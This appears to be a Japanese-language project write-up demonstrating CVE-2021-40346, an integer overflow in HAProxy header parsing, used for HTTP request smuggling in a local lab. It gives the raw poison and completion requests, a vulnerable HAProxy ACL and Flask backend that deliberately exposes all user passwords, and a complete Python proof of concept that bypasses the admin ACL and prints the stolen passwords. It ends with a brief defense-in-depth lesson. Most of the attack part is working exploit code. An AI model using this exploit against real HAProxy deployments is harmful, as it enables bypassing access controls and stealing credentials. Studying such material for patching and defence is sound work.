
HTTP Request Smuggling
このプロジェクトは、HAProxyにおける重大な整数オーバーフロー脆弱性 CVE-2021-40346 を実証し、HTTPリクエストスマグリング攻撃によりセキュリティ制御を回避する方法を示します。
CVSSv3スコア: 7.5(高)
CVE-2021-40346 は、HAProxy の HTTP ヘッダー解析ロジックにおける 整数オーバーフロー脆弱性 です。ヘッダー名が 255 バイトを超えると、長さの値が 8 ビットフィールドからオーバーフローし、HAProxy がリクエスト転送時にヘッダーを誤って解釈します。
攻撃者が送信: ヘッダー名 = "Content-Length0" + 255×'a' = 270 バイト
フェーズ1(初期解析):
name_length = 270 % 256 = 14(8ビットオーバーフロー)を保存value_length = 1 が設定されるContent-Length: 60 ヘッダーを読み取り、それをボディ長として扱うフェーズ2(リクエスト転送):
"Content-Length""0"content-length: 0 を追加Content-Length: 60 ヘッダーを無視(通常のロジック通り)バックエンド処理:
content-length: 0 を受け取る以下のように、HAProxy が管理ルートへのアクセスを制限する ACL ルールで構成されている場合を考えます。
http-request deny if { path_beg /users/admin }
PoC では、通常のユーザーセッション(alice)を使用して、管理者のみがアクセスできる保護された /users/admin エンドポイントにアクセスします。
悪意のあるリクエスト(リクエスト1 - 毒入れ):
POST / HTTP/1.1
Host: 127.0.0.1:8080
Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:
Content-Length: 78
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
HAProxy が転送するリクエスト:
POST / HTTP/1.1
host: 127.0.0.1:8080
content-length: 0
x-forwarded-for: 192.168.188.1
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:
完了リクエスト(リクエスト2):
GET / HTTP/1.1
Host: 127.0.0.1:8080
バックエンドが処理する完全なスマグリングリクエスト:
GET /users/admin HTTP/1.1
Cookie: session=alice_session_token
DUMMY:GET / HTTP/1.1
Host: 127.0.0.1:8080
結果:
content-length: 0 で POST / を転送(ACL は安全なルートと認識)脆弱な HAProxy インスタンスは、管理エンドポイントを保護する ACL ルールで構成されています。
...
# 管理エンドポイントへのアクセスを検出する ACL
acl is_admin_endpoint path_beg /users/admin
# 管理セッションクッキーを確認する ACL
acl has_admin_session cook(session) -m beg admin_
# 管理セッションを持たないユーザーによる管理エンドポイントへのアクセスを拒否
http-request deny if is_admin_endpoint !has_admin_session
...
重要なポイント:
admin_ で始まらない限り、/users/admin はブロックされるuser_ で始まるセッション)は拒否されるバックエンドサーバーには 3 人のユーザーと管理エンドポイントがあります。
USERS = [
{'id': 1, 'username': 'alice', 'password': 'alice123', 'role': 'user'},
{'id': 2, 'username': 'bob', 'password': 'bob456', 'role': 'user'},
{'id': 3, 'username': 'admin', 'password': 'admin_secret', 'role': 'admin'},
]
@app.route('/login', methods=['POST'])
def login():
# ... 認証ロジック ...
# ロールプレフィックス付きのセッショントークンを生成
prefix = 'admin_' if user['role'] == 'admin' else 'user_'
token = prefix + secrets.token_hex(16)
resp.set_cookie('session', token, httponly=True)
return resp
@app.route('/users/admin', methods=['GET', 'POST'])
def users_admin():
# すべてのユーザーパスワードを含む機密データを返す
rows = ''.join([
f"{u['id']} | {u['username']} | {u['email']} | "
f"{u['password']} | {u['role']}"
for u in USERS
])
return f"ADMIN PANELAll users with passwords:{rows}"
セキュリティモデル:
user_a1b2c3d4...admin_a1b2c3d4.../users/admin へのリクエストをブロックするなぜこれが機能するのか:
POST / リクエストを認識(許可)POST / の ACL をチェック(管理制限なし)content-length: 0 を転送(オーバーフローバグのため)GET /users/admin リクエストを受け取るGET /users/admin を直接処理し、パスワードを漏洩多層防御の教訓: これは、バックエンドがプロキシを盲目的に信頼すべきではない理由を示しています。HAProxy の ACL が配置されていても、バックエンドは以下のことを行うべきです:
@require_admin デコレーター)プロキシレベルのアクセス制御のみに依存すると、単一障害点が生じます。
PoC は、4 つの主要なステップを通じて通常のユーザーセッションを使用して /users/admin にアクセスし、HAProxy の ACL をバイパスする方法を示します。
# alice(非管理ユーザー)としてログイン
body = "username=alice&password=alice123"
login = f"POST /login HTTP/1.1\r\n" \
f"Host: {TARGET}:{PORT}\r\n" \
f"Content-Type: application/x-www-form-urlencoded\r\n" \
f"Content-Length: {len(body)}\r\n\r\n{body}".encode()
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(login)
time.sleep(0.5)
# 応答を受信し、セッショントークンを抽出
resp = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break
resp += chunk
sock.close()
session = resp.decode().split('session=')[1].split(';')[0]
print(f"✓ Session: {session[:35]}...")
目的:
/users/admin エンドポイントへのアクセス権がない# 管理エンドポイントをターゲットとした不完全なスマグリングリクエストを作成
smuggled_incomplete = f"GET /users/admin HTTP/1.1\r\nCookie: session={session}\r\nDUMMY:"
重要な詳細:
/users/admin ルートをターゲットDUMMY: ヘッダー(CRLF なし)で終了# オーバーフローヘッダーを作成(270 バイト = 8ビットオーバーフロー後 14)
overflow_header = "Content-Length0" + ("a" * 255)
# 完全な毒入れリクエストを構築
poison = (
f"POST / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"{overflow_header}:\r\n" # 整数オーバーフローをトリガー
f"Content-Length: {len(smuggled_incomplete)}\r\n" # 実際のボディ長
f"\r\n"
f"{smuggled_incomplete}" # 「ボディ」としてスマグリングリクエスト
).encode()
発生する処理:
Content-Length0aaa...(270 バイト)が 14 バイトにオーバーフロー"Content-Length""0"content-length: 0 を転送# 毒入れリクエストを送信
sock = socket.socket()
sock.connect((TARGET, PORT))
sock.sendall(poison)
time.sleep(1)
resp1 = sock.recv(4096) # POST / の応答を受信
# 完了リクエストを送信(スマグリングリクエストを完了)
completion = (
f"GET / HTTP/1.1\r\n"
f"Host: {TARGET}:{PORT}\r\n"
f"\r\n"
).encode()
sock.sendall(completion)
time.sleep(2)
# スマグリングリクエストの応答をキャプチャ
all_data = b""
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
all_data += chunk
except:
pass
sock.close()
# デコードして成功を確認
text = all_data.decode('utf-8', errors='ignore')
print(f"\n[RESULTS] {len(all_data)} bytes received")
print("="*70)
print(text)
print("="*70)
if "admin_secret" in text:
print("\n✅ SUCCESS! BYPASSED HAPROXY ACL!")
print("🔓 Stolen passwords visible in response above!")
else:
print("\n⚠️ Check backend logs - smuggling is working but response capture needs adjustment")
リクエストフロー:
GET /users/admin をバッファリングGET /users/admin を処理admin_secret キーワードをチェック